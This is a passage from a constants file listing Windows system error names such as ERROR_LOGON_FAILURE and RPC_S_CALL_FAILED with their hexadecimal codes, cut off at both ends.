0x0000046c\nERROR_SET_POWER_STATE_VETOED                                             = 0x00000474\nERROR_SET_POWER_STATE_FAILED                                             = 0x00000475\nERROR_TOO_MANY_LINKS                                                     = 0x00000476\nERROR_OLD_WIN_VERSION                                                    = 0x0000047e\nERROR_APP_WRONG_OS                                                       = 0x0000047f\nERROR_SINGLE_INSTANCE_APP                                                = 0x00000480\nERROR_RMODE_APP                                                          = 0x00000481\nERROR_INVALID_DLL                                                        = 0x00000482\nERROR_NO_ASSOCIATION                                                     = 0x00000483\nERROR_DDE_FAIL                                                           = 0x00000484\nERROR_DLL_NOT_FOUND                                                      = 0x00000485\nERROR_NO_MORE_USER_HANDLES                                               = 0x00000486\nERROR_MESSAGE_SYNC_ONLY                                                  = 0x00000487\nERROR_SOURCE_ELEMENT_EMPTY                                               = 0x00000488\nERROR_DESTINATION_ELEMENT_FULL                                           = 0x00000489\nERROR_ILLEGAL_ELEMENT_ADDRESS                                            = 0x0000048a\nERROR_MAGAZINE_NOT_PRESENT                                               = 0x0000048b\nERROR_DEVICE_REINITIALIZATION_NEEDED                                     = 0x0000048c\nERROR_DEVICE_REQUIRES_CLEANING                                           = 0x0000048d\nERROR_DEVICE_DOOR_OPEN                                                   = 0x0000048e\nERROR_DEVICE_NOT_CONNECTED                                               = 0x0000048f\nERROR_NOT_FOUND                                                          = 0x00000490\nERROR_NO_MATCH                                                           = 0x00000491\nERROR_SET_NOT_FOUND                                                      = 0x00000492\nERROR_POINT_NOT_FOUND                                                    = 0x00000493\nERROR_NO_TRACKING_SERVICE                                                = 0x00000494\nERROR_NO_VOLUME_ID                                                       = 0x00000495\nERROR_UNABLE_TO_REMOVE_REPLACED                                          = 0x00000497\nERROR_UNABLE_TO_MOVE_REPLACEMENT                                         = 0x00000498\nERROR_UNABLE_TO_MOVE_REPLACEMENT_2                                       = 0x00000499\nERROR_JOURNAL_DELETE_IN_PROGRESS                                         = 0x0000049a\nERROR_JOURNAL_NOT_ACTIVE                                                 = 0x0000049b\nERROR_POTENTIAL_FILE_FOUND                                               = 0x0000049c\nERROR_JOURNAL_ENTRY_DELETED                                              = 0x0000049d\nERROR_SHUTDOWN_IS_SCHEDULED                                              = 0x000004a6\nERROR_SHUTDOWN_USERS_LOGGED_ON                                           = 0x000004a7\nERROR_BAD_DEVICE                                                         = 0x000004b0\nERROR_CONNECTION_UNAVAIL                                                 = 0x000004b1\nERROR_DEVICE_ALREADY_REMEMBERED                                          = 0x000004b2\nERROR_NO_NET_OR_BAD_PATH                                                 = 0x000004b3\nERROR_BAD_PROVIDER                                                       = 0x000004b4\nERROR_CANNOT_OPEN_PROFILE                                                = 0x000004b5\nERROR_BAD_PROFILE                                                        = 0x000004b6\nERROR_NOT_CONTAINER                                                      = 0x000004b7\nERROR_EXTENDED_ERROR                                                     = 0x000004b8\nERROR_INVALID_GROUPNAME                                                  = 0x000004b9\nERROR_INVALID_COMPUTERNAME                                               = 0x000004ba\nERROR_INVALID_EVENTNAME                                                  = 0x000004bb\nERROR_INVALID_DOMAINNAME                                                 = 0x000004bc\nERROR_INVALID_SERVICENAME                                                = 0x000004bd\nERROR_INVALID_NETNAME                                                    = 0x000004be\nERROR_INVALID_SHARENAME                                                  = 0x000004bf\nERROR_INVALID_PASSWORDNAME                                               = 0x000004c0\nERROR_INVALID_MESSAGENAME                                                = 0x000004c1\nERROR_INVALID_MESSAGEDEST                                                = 0x000004c2\nERROR_SESSION_CREDENTIAL_CONFLICT                                        = 0x000004c3\nERROR_REMOTE_SESSION_LIMIT_EXCEEDED                                      = 0x000004c4\nERROR_DUP_DOMAINNAME                                                     = 0x000004c5\nERROR_NO_NETWORK                                                         = 0x000004c6\nERROR_CANCELLED                                                          = 0x000004c7\nERROR_USER_MAPPED_FILE                                                   = 0x000004c8\nERROR_CONNECTION_REFUSED                                                 = 0x000004c9\nERROR_GRACEFUL_DISCONNECT                                                = 0x000004ca\nERROR_ADDRESS_ALREADY_ASSOCIATED                                         = 0x000004cb\nERROR_ADDRESS_NOT_ASSOCIATED                                             = 0x000004cc\nERROR_CONNECTION_INVALID                                                 = 0x000004cd\nERROR_CONNECTION_ACTIVE                                                  = 0x000004ce\nERROR_NETWORK_UNREACHABLE                                                = 0x000004cf\nERROR_HOST_UNREACHABLE                                                   = 0x000004d0\nERROR_PROTOCOL_UNREACHABLE                                               = 0x000004d1\nERROR_PORT_UNREACHABLE                                                   = 0x000004d2\nERROR_REQUEST_ABORTED                                                    = 0x000004d3\nERROR_CONNECTION_ABORTED                                                 = 0x000004d4\nERROR_RETRY                                                              = 0x000004d5\nERROR_CONNECTION_COUNT_LIMIT                                             = 0x000004d6\nERROR_LOGIN_TIME_RESTRICTION                                             = 0x000004d7\nERROR_LOGIN_WKSTA_RESTRICTION                                            = 0x000004d8\nERROR_INCORRECT_ADDRESS                                                  = 0x000004d9\nERROR_ALREADY_REGISTERED                                                 = 0x000004da\nERROR_SERVICE_NOT_FOUND                                                  = 0x000004db\nERROR_NOT_AUTHENTICATED                                                  = 0x000004dc\nERROR_NOT_LOGGED_ON                                                      = 0x000004dd\nERROR_CONTINUE                                                           = 0x000004de\nERROR_ALREADY_INITIALIZED                                                = 0x000004df\nERROR_NO_MORE_DEVICES                                                    = 0x000004e0\nERROR_NO_SUCH_SITE                                                       = 0x000004e1\nERROR_DOMAIN_CONTROLLER_EXISTS                                           = 0x000004e2\nERROR_ONLY_IF_CONNECTED                                                  = 0x000004e3\nERROR_OVERRIDE_NOCHANGES                                                 = 0x000004e4\nERROR_BAD_USER_PROFILE                                                   = 0x000004e5\nERROR_NOT_SUPPORTED_ON_SBS                                               = 0x000004e6\nERROR_SERVER_SHUTDOWN_IN_PROGRESS                                        = 0x000004e7\nERROR_HOST_DOWN                                                          = 0x000004e8\nERROR_NON_ACCOUNT_SID                                                    = 0x000004e9\nERROR_NON_DOMAIN_SID                                                     = 0x000004ea\nERROR_APPHELP_BLOCK                                                      = 0x000004eb\nERROR_ACCESS_DISABLED_BY_POLICY                                          = 0x000004ec\nERROR_REG_NAT_CONSUMPTION                                                = 0x000004ed\nERROR_CSCSHARE_OFFLINE                                                   = 0x000004ee\nERROR_PKINIT_FAILURE                                                     = 0x000004ef\nERROR_SMARTCARD_SUBSYSTEM_FAILURE                                        = 0x000004f0\nERROR_DOWNGRADE_DETECTED                                                 = 0x000004f1\nERROR_MACHINE_LOCKED                                                     = 0x000004f7\nERROR_CALLBACK_SUPPLIED_INVALID_DATA                                     = 0x000004f9\nERROR_SYNC_FOREGROUND_REFRESH_REQUIRED                                   = 0x000004fa\nERROR_DRIVER_BLOCKED                                                     = 0x000004fb\nERROR_INVALID_IMPORT_OF_NON_DLL                                          = 0x000004fc\nERROR_ACCESS_DISABLED_WEBBLADE                                           = 0x000004fd\nERROR_ACCESS_DISABLED_WEBBLADE_TAMPER                                    = 0x000004fe\nERROR_RECOVERY_FAILURE                                                   = 0x000004ff\nERROR_ALREADY_FIBER                                                      = 0x00000500\nERROR_ALREADY_THREAD                                                     = 0x00000501\nERROR_STACK_BUFFER_OVERRUN                                               = 0x00000502\nERROR_PARAMETER_QUOTA_EXCEEDED                                           = 0x00000503\nERROR_DEBUGGER_INACTIVE                                                  = 0x00000504\nERROR_DELAY_LOAD_FAILED                                                  = 0x00000505\nERROR_VDM_DISALLOWED                                                     = 0x00000506\nERROR_UNIDENTIFIED_ERROR                                                 = 0x00000507\nERROR_INVALID_CRUNTIME_PARAMETER                                         = 0x00000508\nERROR_BEYOND_VDL                                                         = 0x00000509\nERROR_INCOMPATIBLE_SERVICE_SID_TYPE                                      = 0x0000050a\nERROR_DRIVER_PROCESS_TERMINATED                                          = 0x0000050b\nERROR_IMPLEMENTATION_LIMIT                                               = 0x0000050c\nERROR_PROCESS_IS_PROTECTED                                               = 0x0000050d\nERROR_SERVICE_NOTIFY_CLIENT_LAGGING                                      = 0x0000050e\nERROR_DISK_QUOTA_EXCEEDED                                                = 0x0000050f\nERROR_CONTENT_BLOCKED                                                    = 0x00000510\nERROR_INCOMPATIBLE_SERVICE_PRIVILEGE                                     = 0x00000511\nERROR_APP_HANG                                                           = 0x00000512\nERROR_INVALID_LABEL                                                      = 0x00000513\nERROR_NOT_ALL_ASSIGNED                                                   = 0x00000514\nERROR_SOME_NOT_MAPPED                                                    = 0x00000515\nERROR_NO_QUOTAS_FOR_ACCOUNT                                              = 0x00000516\nERROR_LOCAL_USER_SESSION_KEY                                             = 0x00000517\nERROR_NULL_LM_PASSWORD                                                   = 0x00000518\nERROR_UNKNOWN_REVISION                                                   = 0x00000519\nERROR_REVISION_MISMATCH                                                  = 0x0000051a\nERROR_INVALID_OWNER                                                      = 0x0000051b\nERROR_INVALID_PRIMARY_GROUP                                              = 0x0000051c\nERROR_NO_IMPERSONATION_TOKEN                                             = 0x0000051d\nERROR_CANT_DISABLE_MANDATORY                                             = 0x0000051e\nERROR_NO_LOGON_SERVERS                                                   = 0x0000051f\nERROR_NO_SUCH_LOGON_SESSION                                              = 0x00000520\nERROR_NO_SUCH_PRIVILEGE                                                  = 0x00000521\nERROR_PRIVILEGE_NOT_HELD                                                 = 0x00000522\nERROR_INVALID_ACCOUNT_NAME                                               = 0x00000523\nERROR_USER_EXISTS                                                        = 0x00000524\nERROR_NO_SUCH_USER                                                       = 0x00000525\nERROR_GROUP_EXISTS                                                       = 0x00000526\nERROR_NO_SUCH_GROUP                                                      = 0x00000527\nERROR_MEMBER_IN_GROUP                                                    = 0x00000528\nERROR_MEMBER_NOT_IN_GROUP                                                = 0x00000529\nERROR_LAST_ADMIN                                                         = 0x0000052a\nERROR_WRONG_PASSWORD                                                     = 0x0000052b\nERROR_ILL_FORMED_PASSWORD                                                = 0x0000052c\nERROR_PASSWORD_RESTRICTION                                               = 0x0000052d\nERROR_LOGON_FAILURE                                                      = 0x0000052e\nERROR_ACCOUNT_RESTRICTION                                                = 0x0000052f\nERROR_INVALID_LOGON_HOURS                                                = 0x00000530\nERROR_INVALID_WORKSTATION                                                = 0x00000531\nERROR_PASSWORD_EXPIRED                                                   = 0x00000532\nERROR_ACCOUNT_DISABLED                                                   = 0x00000533\nERROR_NONE_MAPPED                                                        = 0x00000534\nERROR_TOO_MANY_LUIDS_REQUESTED                                           = 0x00000535\nERROR_LUIDS_EXHAUSTED                                                    = 0x00000536\nERROR_INVALID_SUB_AUTHORITY                                              = 0x00000537\nERROR_INVALID_ACL                                                        = 0x00000538\nERROR_INVALID_SID                                                        = 0x00000539\nERROR_INVALID_SECURITY_DESCR                                             = 0x0000053a\nERROR_BAD_INHERITANCE_ACL                                                = 0x0000053c\nERROR_SERVER_DISABLED                                                    = 0x0000053d\nERROR_SERVER_NOT_DISABLED                                                = 0x0000053e\nERROR_INVALID_ID_AUTHORITY                                               = 0x0000053f\nERROR_ALLOTTED_SPACE_EXCEEDED                                            = 0x00000540\nERROR_INVALID_GROUP_ATTRIBUTES                                           = 0x00000541\nERROR_BAD_IMPERSONATION_LEVEL                                            = 0x00000542\nERROR_CANT_OPEN_ANONYMOUS                                                = 0x00000543\nERROR_BAD_VALIDATION_CLASS                                               = 0x00000544\nERROR_BAD_TOKEN_TYPE                                                     = 0x00000545\nERROR_NO_SECURITY_ON_OBJECT                                              = 0x00000546\nERROR_CANT_ACCESS_DOMAIN_INFO                                            = 0x00000547\nERROR_INVALID_SERVER_STATE                                               = 0x00000548\nERROR_INVALID_DOMAIN_STATE                                               = 0x00000549\nERROR_INVALID_DOMAIN_ROLE                                                = 0x0000054a\nERROR_NO_SUCH_DOMAIN                                                     = 0x0000054b\nERROR_DOMAIN_EXISTS                                                      = 0x0000054c\nERROR_DOMAIN_LIMIT_EXCEEDED                                              = 0x0000054d\nERROR_INTERNAL_DB_CORRUPTION                                             = 0x0000054e\nERROR_INTERNAL_ERROR                                                     = 0x0000054f\nERROR_GENERIC_NOT_MAPPED                                                 = 0x00000550\nERROR_BAD_DESCRIPTOR_FORMAT                                              = 0x00000551\nERROR_NOT_LOGON_PROCESS                                                  = 0x00000552\nERROR_LOGON_SESSION_EXISTS                                               = 0x00000553\nERROR_NO_SUCH_PACKAGE                                                    = 0x00000554\nERROR_BAD_LOGON_SESSION_STATE                                            = 0x00000555\nERROR_LOGON_SESSION_COLLISION                                            = 0x00000556\nERROR_INVALID_LOGON_TYPE                                                 = 0x00000557\nERROR_CANNOT_IMPERSONATE                                                 = 0x00000558\nERROR_RXACT_INVALID_STATE                                                = 0x00000559\nERROR_RXACT_COMMIT_FAILURE                                               = 0x0000055a\nERROR_SPECIAL_ACCOUNT                                                    = 0x0000055b\nERROR_SPECIAL_GROUP                                                      = 0x0000055c\nERROR_SPECIAL_USER                                                       = 0x0000055d\nERROR_MEMBERS_PRIMARY_GROUP                                              = 0x0000055e\nERROR_TOKEN_ALREADY_IN_USE                                               = 0x0000055f\nERROR_NO_SUCH_ALIAS                                                      = 0x00000560\nERROR_MEMBER_NOT_IN_ALIAS                                                = 0x00000561\nERROR_MEMBER_IN_ALIAS                                                    = 0x00000562\nERROR_ALIAS_EXISTS                                                       = 0x00000563\nERROR_LOGON_NOT_GRANTED                                                  = 0x00000564\nERROR_TOO_MANY_SECRETS                                                   = 0x00000565\nERROR_SECRET_TOO_LONG                                                    = 0x00000566\nERROR_INTERNAL_DB_ERROR                                                  = 0x00000567\nERROR_TOO_MANY_CONTEXT_IDS                                               = 0x00000568\nERROR_LOGON_TYPE_NOT_GRANTED                                             = 0x00000569\nERROR_NT_CROSS_ENCRYPTION_REQUIRED                                       = 0x0000056a\nERROR_NO_SUCH_MEMBER                                                     = 0x0000056b\nERROR_INVALID_MEMBER                                                     = 0x0000056c\nERROR_TOO_MANY_SIDS                                                      = 0x0000056d\nERROR_LM_CROSS_ENCRYPTION_REQUIRED                                       = 0x0000056e\nERROR_NO_INHERITANCE                                                     = 0x0000056f\nERROR_FILE_CORRUPT                                                       = 0x00000570\nERROR_DISK_CORRUPT                                                       = 0x00000571\nERROR_NO_USER_SESSION_KEY                                                = 0x00000572\nERROR_LICENSE_QUOTA_EXCEEDED                                             = 0x00000573\nERROR_WRONG_TARGET_NAME                                                  = 0x00000574\nERROR_MUTUAL_AUTH_FAILED                                                 = 0x00000575\nERROR_TIME_SKEW                                                          = 0x00000576\nERROR_CURRENT_DOMAIN_NOT_ALLOWED                                         = 0x00000577\nERROR_INVALID_WINDOW_HANDLE                                              = 0x00000578\nERROR_INVALID_MENU_HANDLE                                                = 0x00000579\nERROR_INVALID_CURSOR_HANDLE                                              = 0x0000057a\nERROR_INVALID_ACCEL_HANDLE                                               = 0x0000057b\nERROR_INVALID_HOOK_HANDLE                                                = 0x0000057c\nERROR_INVALID_DWP_HANDLE                                                 = 0x0000057d\nERROR_TLW_WITH_WSCHILD                                                   = 0x0000057e\nERROR_CANNOT_FIND_WND_CLASS                                              = 0x0000057f\nERROR_WINDOW_OF_OTHER_THREAD                                             = 0x00000580\nERROR_HOTKEY_ALREADY_REGISTERED                                          = 0x00000581\nERROR_CLASS_ALREADY_EXISTS                                               = 0x00000582\nERROR_CLASS_DOES_NOT_EXIST                                               = 0x00000583\nERROR_CLASS_HAS_WINDOWS                                                  = 0x00000584\nERROR_INVALID_INDEX                                                      = 0x00000585\nERROR_INVALID_ICON_HANDLE                                                = 0x00000586\nERROR_PRIVATE_DIALOG_INDEX                                               = 0x00000587\nERROR_LISTBOX_ID_NOT_FOUND                                               = 0x00000588\nERROR_NO_WILDCARD_CHARACTERS                                             = 0x00000589\nERROR_CLIPBOARD_NOT_OPEN                                                 = 0x0000058a\nERROR_HOTKEY_NOT_REGISTERED                                              = 0x0000058b\nERROR_WINDOW_NOT_DIALOG                                                  = 0x0000058c\nERROR_CONTROL_ID_NOT_FOUND                                               = 0x0000058d\nERROR_INVALID_COMBOBOX_MESSAGE                                           = 0x0000058e\nERROR_WINDOW_NOT_COMBOBOX                                                = 0x0000058f\nERROR_INVALID_EDIT_HEIGHT                                                = 0x00000590\nERROR_DC_NOT_FOUND                                                       = 0x00000591\nERROR_INVALID_HOOK_FILTER                                                = 0x00000592\nERROR_INVALID_FILTER_PROC                                                = 0x00000593\nERROR_HOOK_NEEDS_HMOD                                                    = 0x00000594\nERROR_GLOBAL_ONLY_HOOK                                                   = 0x00000595\nERROR_JOURNAL_HOOK_SET                                                   = 0x00000596\nERROR_HOOK_NOT_INSTALLED                                                 = 0x00000597\nERROR_INVALID_LB_MESSAGE                                                 = 0x00000598\nERROR_SETCOUNT_ON_BAD_LB                                                 = 0x00000599\nERROR_LB_WITHOUT_TABSTOPS                                                = 0x0000059a\nERROR_DESTROY_OBJECT_OF_OTHER_THREAD                                     = 0x0000059b\nERROR_CHILD_WINDOW_MENU                                                  = 0x0000059c\nERROR_NO_SYSTEM_MENU                                                     = 0x0000059d\nERROR_INVALID_MSGBOX_STYLE                                               = 0x0000059e\nERROR_INVALID_SPI_VALUE                                                  = 0x0000059f\nERROR_SCREEN_ALREADY_LOCKED                                              = 0x000005a0\nERROR_HWNDS_HAVE_DIFF_PARENT                                             = 0x000005a1\nERROR_NOT_CHILD_WINDOW                                                   = 0x000005a2\nERROR_INVALID_GW_COMMAND                                                 = 0x000005a3\nERROR_INVALID_THREAD_ID                                                  = 0x000005a4\nERROR_NON_MDICHILD_WINDOW                                                = 0x000005a5\nERROR_POPUP_ALREADY_ACTIVE                                               = 0x000005a6\nERROR_NO_SCROLLBARS                                                      = 0x000005a7\nERROR_INVALID_SCROLLBAR_RANGE                                            = 0x000005a8\nERROR_INVALID_SHOWWIN_COMMAND                                            = 0x000005a9\nERROR_NO_SYSTEM_RESOURCES                                                = 0x000005aa\nERROR_NONPAGED_SYSTEM_RESOURCES                                          = 0x000005ab\nERROR_PAGED_SYSTEM_RESOURCES                                             = 0x000005ac\nERROR_WORKING_SET_QUOTA                                                  = 0x000005ad\nERROR_PAGEFILE_QUOTA                                                     = 0x000005ae\nERROR_COMMITMENT_LIMIT                                                   = 0x000005af\nERROR_MENU_ITEM_NOT_FOUND                                                = 0x000005b0\nERROR_INVALID_KEYBOARD_HANDLE                                            = 0x000005b1\nERROR_HOOK_TYPE_NOT_ALLOWED                                              = 0x000005b2\nERROR_REQUIRES_INTERACTIVE_WINDOWSTATION                                 = 0x000005b3\nERROR_TIMEOUT                                                            = 0x000005b4\nERROR_INVALID_MONITOR_HANDLE                                             = 0x000005b5\nERROR_INCORRECT_SIZE                                                     = 0x000005b6\nERROR_SYMLINK_CLASS_DISABLED                                             = 0x000005b7\nERROR_SYMLINK_NOT_SUPPORTED                                              = 0x000005b8\nERROR_XML_PARSE_ERROR                                                    = 0x000005b9\nERROR_XMLDSIG_ERROR                                                      = 0x000005ba\nERROR_RESTART_APPLICATION                                                = 0x000005bb\nERROR_WRONG_COMPARTMENT                                                  = 0x000005bc\nERROR_AUTHIP_FAILURE                                                     = 0x000005bd\nERROR_NO_NVRAM_RESOURCES                                                 = 0x000005be\nERROR_NOT_GUI_PROCESS                                                    = 0x000005bf\nERROR_EVENTLOG_FILE_CORRUPT                                              = 0x000005dc\nERROR_EVENTLOG_CANT_START                                                = 0x000005dd\nERROR_LOG_FILE_FULL                                                      = 0x000005de\nERROR_EVENTLOG_FILE_CHANGED                                              = 0x000005df\nERROR_INVALID_TASK_NAME                                                  = 0x0000060e\nERROR_INVALID_TASK_INDEX                                                 = 0x0000060f\nERROR_THREAD_ALREADY_IN_TASK                                             = 0x00000610\nERROR_INSTALL_SERVICE_FAILURE                                            = 0x00000641\nERROR_INSTALL_USEREXIT                                                   = 0x00000642\nERROR_INSTALL_FAILURE                                                    = 0x00000643\nERROR_INSTALL_SUSPEND                                                    = 0x00000644\nERROR_UNKNOWN_PRODUCT                                                    = 0x00000645\nERROR_UNKNOWN_FEATURE                                                    = 0x00000646\nERROR_UNKNOWN_COMPONENT                                                  = 0x00000647\nERROR_UNKNOWN_PROPERTY                                                   = 0x00000648\nERROR_INVALID_HANDLE_STATE                                               = 0x00000649\nERROR_BAD_CONFIGURATION                                                  = 0x0000064a\nERROR_INDEX_ABSENT                                                       = 0x0000064b\nERROR_INSTALL_SOURCE_ABSENT                                              = 0x0000064c\nERROR_INSTALL_PACKAGE_VERSION                                            = 0x0000064d\nERROR_PRODUCT_UNINSTALLED                                                = 0x0000064e\nERROR_BAD_QUERY_SYNTAX                                                   = 0x0000064f\nERROR_INVALID_FIELD                                                      = 0x00000650\nERROR_DEVICE_REMOVED                                                     = 0x00000651\nERROR_INSTALL_ALREADY_RUNNING                                            = 0x00000652\nERROR_INSTALL_PACKAGE_OPEN_FAILED                                        = 0x00000653\nERROR_INSTALL_PACKAGE_INVALID                                            = 0x00000654\nERROR_INSTALL_UI_FAILURE                                                 = 0x00000655\nERROR_INSTALL_LOG_FAILURE                                                = 0x00000656\nERROR_INSTALL_LANGUAGE_UNSUPPORTED                                       = 0x00000657\nERROR_INSTALL_TRANSFORM_FAILURE                                          = 0x00000658\nERROR_INSTALL_PACKAGE_REJECTED                                           = 0x00000659\nERROR_FUNCTION_NOT_CALLED                                                = 0x0000065a\nERROR_FUNCTION_FAILED                                                    = 0x0000065b\nERROR_INVALID_TABLE                                                      = 0x0000065c\nERROR_DATATYPE_MISMATCH                                                  = 0x0000065d\nERROR_UNSUPPORTED_TYPE                                                   = 0x0000065e\nERROR_CREATE_FAILED                                                      = 0x0000065f\nERROR_INSTALL_TEMP_UNWRITABLE                                            = 0x00000660\nERROR_INSTALL_PLATFORM_UNSUPPORTED                                       = 0x00000661\nERROR_INSTALL_NOTUSED                                                    = 0x00000662\nERROR_PATCH_PACKAGE_OPEN_FAILED                                          = 0x00000663\nERROR_PATCH_PACKAGE_INVALID                                              = 0x00000664\nERROR_PATCH_PACKAGE_UNSUPPORTED                                          = 0x00000665\nERROR_PRODUCT_VERSION                                                    = 0x00000666\nERROR_INVALID_COMMAND_LINE                                               = 0x00000667\nERROR_INSTALL_REMOTE_DISALLOWED                                          = 0x00000668\nERROR_SUCCESS_REBOOT_INITIATED                                           = 0x00000669\nERROR_PATCH_TARGET_NOT_FOUND                                             = 0x0000066a\nERROR_PATCH_PACKAGE_REJECTED                                             = 0x0000066b\nERROR_INSTALL_TRANSFORM_REJECTED                                         = 0x0000066c\nERROR_INSTALL_REMOTE_PROHIBITED                                          = 0x0000066d\nERROR_PATCH_REMOVAL_UNSUPPORTED                                          = 0x0000066e\nERROR_UNKNOWN_PATCH                                                      = 0x0000066f\nERROR_PATCH_NO_SEQUENCE                                                  = 0x00000670\nERROR_PATCH_REMOVAL_DISALLOWED                                           = 0x00000671\nERROR_INVALID_PATCH_XML                                                  = 0x00000672\nERROR_PATCH_MANAGED_ADVERTISED_PRODUCT                                   = 0x00000673\nERROR_INSTALL_SERVICE_SAFEBOOT                                           = 0x00000674\nERROR_FAIL_FAST_EXCEPTION                                                = 0x00000675\nERROR_INSTALL_REJECTED                                                   = 0x00000676\nRPC_S_INVALID_STRING_BINDING                                             = 0x000006a4\nRPC_S_WRONG_KIND_OF_BINDING                                              = 0x000006a5\nRPC_S_INVALID_BINDING                                                    = 0x000006a6\nRPC_S_PROTSEQ_NOT_SUPPORTED                                              = 0x000006a7\nRPC_S_INVALID_RPC_PROTSEQ                                                = 0x000006a8\nRPC_S_INVALID_STRING_UUID                                                = 0x000006a9\nRPC_S_INVALID_ENDPOINT_FORMAT                                            = 0x000006aa\nRPC_S_INVALID_NET_ADDR                                                   = 0x000006ab\nRPC_S_NO_ENDPOINT_FOUND                                                  = 0x000006ac\nRPC_S_INVALID_TIMEOUT                                                    = 0x000006ad\nRPC_S_OBJECT_NOT_FOUND                                                   = 0x000006ae\nRPC_S_ALREADY_REGISTERED                                                 = 0x000006af\nRPC_S_TYPE_ALREADY_REGISTERED                                            = 0x000006b0\nRPC_S_ALREADY_LISTENING                                                  = 0x000006b1\nRPC_S_NO_PROTSEQS_REGISTERED                                             = 0x000006b2\nRPC_S_NOT_LISTENING                                                      = 0x000006b3\nRPC_S_UNKNOWN_MGR_TYPE                                                   = 0x000006b4\nRPC_S_UNKNOWN_IF                                                         = 0x000006b5\nRPC_S_NO_BINDINGS                                                        = 0x000006b6\nRPC_S_NO_PROTSEQS                                                        = 0x000006b7\nRPC_S_CANT_CREATE_ENDPOINT                                               = 0x000006b8\nRPC_S_OUT_OF_RESOURCES                                                   = 0x000006b9\nRPC_S_SERVER_UNAVAILABLE                                                 = 0x000006ba\nRPC_S_SERVER_TOO_BUSY                                                    = 0x000006bb\nRPC_S_INVALID_NETWORK_OPTIONS                                            = 0x000006bc\nRPC_S_NO_CALL_ACTIVE                                                     = 0x000006bd\nRPC_S_CALL_FAILED                                                        = 0x000006be\nRPC_S_CALL_FAILED_DNE                                                    = 0x000006bf\nRPC_S_PROTOCOL_ERROR                                                     = 0x000006c0\nRPC_S_PROXY_ACCESS_DENIED                                                = 0x000006c1\nRPC_S_UNSUPPORTED_TRANS_SYN                                              = 0x000006c2\nRPC_S_UNSUPPORTED_TYPE                                                   = 0x000006c4\nRPC_S_INVALID_TAG                                                        = 0x000006c5\nRPC_S_INVALID_BOUND                                                      = 0x000006c6\nRPC_S_NO_ENTRY_NAME                                                      = 0x000006c7\nRPC_S_INVALID_NAME_SYNTAX                                                = 0x000006c8\nRPC_S_UNSUPPORTED_NAME_SYNTAX                                            = 0x000006c9\nRPC_S_UUID_NO_ADDRESS                                                    = 0x000006cb\nRPC_S_DUPLICATE_ENDPOINT                                                 = 0x000006cc\nRPC_S_UNKNOWN_AUTHN_TYPE                                                 = 0x000006cd\nRPC_S_MAX_CALLS_TOO_SMALL                                                = 0x000006ce\nRPC_S_STRING_TOO_LONG                                                    = 0x000006cf\nRPC_S_PROTSEQ_NOT_FOUND                                                  = 0x000006d0\nRPC_S_PROCNUM_OUT_OF_RANGE                                               = 0x000006d1\nRPC_S_BINDING_HAS_NO_AUTH                                                = 0x000006d2\nRPC_S_UNKNOWN_AUTHN_SERVICE                                              = 0x000006d3\nRPC_S_UNKNOWN_AUTHN_LEVEL                                                = 0x000006d4\nRPC_S_INVALID_AUTH_IDENTITY                                              = 0x000006d5\nRPC_S_UNKNOWN_AUTHZ_SERVICE                                              = 0x000006d6\nEPT_S_INVALID_ENTRY                                                      = 0x000006d7\nEPT_S_CANT_PERFORM_OP                                                    = 0x000006d8\nEPT_S_NOT_REGISTERED                                                     = 0x000006d9\nRPC_S_NOTHING_TO_EXPORT                                                  = 0x000006da\nRPC_S_INCOMPLETE_NAME                                                    = 0x000006db\nRPC_S_INVALID_VERS_OPTION                                                = 0x000006dc\nRPC_S_NO_MORE_MEMBERS                                                    = 0x000006dd\nRPC_S_NOT_ALL_OBJS_UNEXPORTED                                            = 0x000006de\nRPC_S_INTERFACE_NOT_FOUND                                                = 0x000006df\nRPC_S_ENTRY_ALREADY_EXISTS                                               = 0x000006e0\nRPC_S_ENTRY_NOT_FOUND                                                    = 0x000006e1\nRPC_S_NAME_SERVICE_UNAVAILABLE                                           = 0x000006e2\nRPC_S_INVALID_NAF_ID                                                     = 0x000006e3\nRPC_S_CANNOT_SUPPORT                                                     = 0x000006e4\nRPC_S_NO_CONTEXT_AVAILABLE                                               = 0x000006e5\nRPC_S_INTERNAL_ERROR                                                     = 0x000006e6\nRPC_S_ZERO_DIVIDE                                                        = 0x000006e7\nRPC_S_ADDRESS_ERROR                                                      = 0x000006e8\nRPC_S_FP_DIV_ZERO                                                        = 0x000006e9\nRPC_S_FP_UNDERFLOW                                                       = 0x000006ea\nRPC_S_FP_OVERFLOW                                                        = 0x000006eb\nRPC_X_NO_MORE_ENTRIES                                                    = 0x000006ec\nRPC_X_SS_CHAR_TRANS_OPEN_FAIL                                            = 0x000006ed\nRPC_X_SS_CHAR_TRANS_SHORT_FILE                                           = 0x000006ee\nRPC_X_SS_IN_NULL_CONTEXT                                                 = 0x000006ef\nRPC_X_SS_CONTEXT_DAMAGED                                                 = 0x000006f1\nRPC_X_SS_HANDLES_MISMATCH                                                = 0x000006f2\nRPC_X_SS_CANNOT_GET_CALL_HANDLE                                          = 0x000006f3\nRPC_X_NULL_REF_POINTER                                                   = 0x000006f4\nRPC_X_ENUM_VALUE_OUT_OF_RANGE                                            = 0x000006f5\nRPC_X_BYTE_COUNT_TOO_SMALL                                               = 0x000006f6\nRPC_X_BAD_STUB_DATA                                                      = 0x000006f7\nERROR_INVALID_USER_BUFFER                                                = 0x000006f8\nERROR_UNRECOGNIZED_MEDIA                                                 = 0x000006f9\nERROR_NO_TRUST_LSA_SECRET                                                = 0x000006fa\nERROR_NO_TRUST_SAM_ACCOUNT                                               = 0x000006fb\nERROR_TRUSTED_DOMAIN_FAILURE                                             = 0x000006fc\nERROR_TRUSTED_RELATIONSHIP_FAILURE                                       = 0x000006fd\nERROR_TRUST_FAILURE                                                      = 0x000006fe\nRPC_S_CALL_IN_PROGRESS                                                   = 0x000006ff\nERROR_NETLOGON_NOT_STARTED                                               = 0x00000700\nERROR_ACCOUNT_EXPIRED                                                    = 0x00000701\nERROR_REDIRECTOR_HAS_OPEN_HANDLES                                        = 0x00000702\nERROR_PRINTER_DRIVER_ALREADY_INSTALLED                                   = 0x00000703\nERROR_UNKNOWN_PORT                                                       = 0x00000704\nERROR_UNKNOWN_PRINTER_DRIVER                                             = 0x00000705\nERROR_UNKNOWN_PRINTPROCESSOR                                             = 0x00000706\nERROR_INVALID_SEPARATOR_FILE                                             = 0x00000707\nERROR_INVALID_PRIORITY                                                   = 0x00000708\nERROR_INVALID_PRINTER_NAME                                               = 0x00000709\nERROR_PRINTER_ALREADY_EXISTS                                             = 0x0000070a\nERROR_INVALID_PRINTER_COMMAND                                            = 0x0000070b\nERROR_INVALID_DATATYPE                                                   = 0x0000070c\nERROR_INVALID_ENVIRONMENT                                                = 